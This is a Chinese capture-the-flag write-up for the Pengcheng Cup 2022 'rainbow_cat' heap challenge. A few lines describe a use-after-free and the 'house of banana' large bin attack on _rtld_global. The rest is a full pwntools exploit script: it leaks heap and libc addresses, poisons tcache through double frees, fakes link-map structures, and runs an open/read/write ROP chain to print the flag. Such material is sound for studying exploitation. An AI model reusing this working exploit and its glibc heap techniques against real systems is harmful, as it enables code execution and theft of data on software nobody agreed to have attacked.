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鹏城杯2022_rainbow_cat

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通过patch掉一些无关的语句，就可以使用IDA查看伪代码了，发现delete存在UAF

add中如果分配的地址超出了ptr范围，会调用exit退出，且add只能malloc(0x10)

可以使用UAF来伪造chunk的size，构造出large bin，然后使用large bin attack攻击rtld_global，即使用house of banana的方法

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#coding:utf8
from pwn import *

#sh = process('./rainbowcat_patch')
context.log_level = 'debug'
sh = remote('192.168.1.102',9999)
libc = ELF('./libc-2.33.so')

def add(index):
   sh.sendlineafter('>>','1')
   sh.sendlineafter('get?',str(index))

def delete(index):
   sh.sendlineafter('>>','2')
   sh.sendlineafter('?',str(index))

def show(index):
   sh.sendlineafter('>>','3')
   sh.sendlineafter(':',str(index))

def edit(index,content):
   sh.sendlineafter('>>','4')
   sh.sendlineafter('?',str(index))
   sh.sendafter(':',content)

add(0)
add(1)
delete(0)
delete(1)

show(0)
sh.recvuntil(':')
key = u64(sh.recv(8))
print 'key=',hex(key)
heap_addr = u64(sh.recv(8))
print 'heap_addr=',hex(heap_addr)

add(1)
add(0)

#double free
delete(1)
edit(1,p64(0)*2)
delete(1)

edit(1,p64((heap_addr + 0x280) ^ key) + p64(0))
add(1)
add(1)
edit(1,p64(0) + p64(0x461))

for i in range(0x22):
   add(1)

add(2)
add(1)
#double free
delete(1)
edit(1,p64(0)*2)
delete(1)

edit(1,p64((heap_addr + 0x700) ^ key) + p64(0))
add(1)
add(1)
edit(1,p64(0) + p64(0x451))

for i in range(0x22):
   add(1)
   if i == 0x20 or i == 0x21:
      edit(1,'a'*0x8 + p64(0x21))

for i in range(0x22):
   add(1)
   edit(1,'c'*0x10)

delete(0)
show(0)
sh.recvuntil(':')
libc_base = u64(sh.recv(8)) - 0x1e0c00
free_hook_addr = libc_base + libc.sym['__free_hook']
print 'libc_base=',hex(libc_base)


delete(1)
edit(1,p64(0)*2)
delete(1)
edit(1,p64((heap_addr + 0xb90)^key))
add(1)
add(0)

delete(1)
edit(1,p64(0)*2)
delete(1)
edit(1,p64((heap_addr + 0xb80)^key))
add(1)
add(1)
edit(1,p64(0) + p64(0x421))

#发生unsorted bin遍历，0x460的unsorted bin被放入large bin
delete(0)
add(1)
#将剩余的unsorted bin消耗
for i in range(0x20):
   add(0)

#delete(2)
_rtld_global_ptr_addr = libc_base + 0x222040
print '_rtld_global_ptr_addr=',hex(_rtld_global_ptr_addr)

#修改large bin的bk nextsize
delete(1)
edit(1,p64(0)*2)
delete(1)
edit(1,p64((heap_addr + 0x2a0)^key))
add(1)
add(0)
edit(0,p64(0) + p64(_rtld_global_ptr_addr - 0x20))
#将0x450的堆释放，属于喂归位的large bin
delete(2)

#重新伪造一个0x420的chunk，下标为0
delete(1)
edit(1,p64(0)*2)
delete(1)
edit(1,p64((heap_addr + 0xb90)^key))
add(1)
add(0)

delete(1)
edit(1,p64(0)*2)
delete(1)
edit(1,p64((heap_addr + 0xb80)^key))
add(1)
add(1)
edit(1,p64(0) + p64(0x421))

#发生unsorted bin遍历，large bin attack!!
delete(0)
add(1)

def write_heap(addr,content):
   delete(1)
   edit(1,p64(0)*2)
   delete(1)
   edit(1,p64(addr^key))
   add(1)
   add(0)
   edit(0,content)

fake_rtld_global_addr = heap_addr + 0x700

retn = libc_base + 0x52a92
set_context = libc_base + 0x529ad
pop_rdi = libc_base + 0x0000000000028a55
pop_rsi = libc_base + 0x000000000002a4cf
pop_rdx = libc_base + 0x00000000000c7f32
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
opendir_addr = libc_base + libc.sym['opendir']
readdir_addr = libc_base + libc.sym['readdir']
mov_p_rdi_rax = libc_base + 0x0000000000041a03
#mov rdi, qword ptr [rdi + 0xe0] ; jmp rax
mov_rdi_p_rdi = libc_base + 0x000000000007efdd
pop_rax = libc_base + 0x0000000000044c70


write_heap(fake_rtld_global_addr,p64(0)*2)
write_heap(fake_rtld_global_addr + 0x10,p64(0) + p64(libc_base + 0x2237d0))
write_heap(fake_rtld_global_addr + 0x20,p64(0) + p64(fake_rtld_global_addr))
write_heap(fake_rtld_global_addr + 0x110,p64(fake_rtld_global_addr + 0x8*0x24) + p64(0))
write_heap(fake_rtld_global_addr + 0x120,p64(fake_rtld_global_addr + 0x8*0x25) + p64(fake_rtld_global_addr + 0x8*0x32))
write_heap(fake_rtld_global_addr + 0x130,p64(0x10)) #func count

write_heap(fake_rtld_global_addr + 0x190,p64(set_context) + p64(retn))
write_heap(fake_rtld_global_addr + 0x230,p64(0) + p64(fake_rtld_global_addr + 0x40)) #new rsp
write_heap(fake_rtld_global_addr + 0x240,p64(pop_rdi))

write_heap(fake_rtld_global_addr + 0x310,p64(0) + p32(0) + p32(0x8))

#rop
flag_addr = fake_rtld_global_addr + 0xd0
write_heap(fake_rtld_global_addr + 0x40,p64(flag_addr) + p64(pop_rsi))
write_heap(fake_rtld_global_addr + 0x50,p64(0) + p64(open_addr))
write_heap(fake_rtld_global_addr + 0x60,p64(pop_rdi) + p64(3))
write_heap(fake_rtld_global_addr + 0x70,p64(pop_rsi) + p64(flag_addr))
write_heap(fake_rtld_global_addr + 0x80,p64(pop_rdx) + p64(0x100))
write_heap(fake_rtld_global_addr + 0x90,p64(read_addr) + p64(pop_rdi))
write_heap(fake_rtld_global_addr + 0xa0,p64(1) + p64(pop_rsi))
write_heap(fake_rtld_global_addr + 0xb0,p64(flag_addr) + p64(pop_rdx))
write_heap(fake_rtld_global_addr + 0xc0,p64(0x100) + p64(write_addr))
write_heap(fake_rtld_global_addr + 0xd0,'./flag\x00')


#trigger exit
delete(1)
edit(1,p64(0)*2)
delete(1)
edit(1,p64(free_hook_addr^key))
add(0)
raw_input()
add(0)

sh.interactive()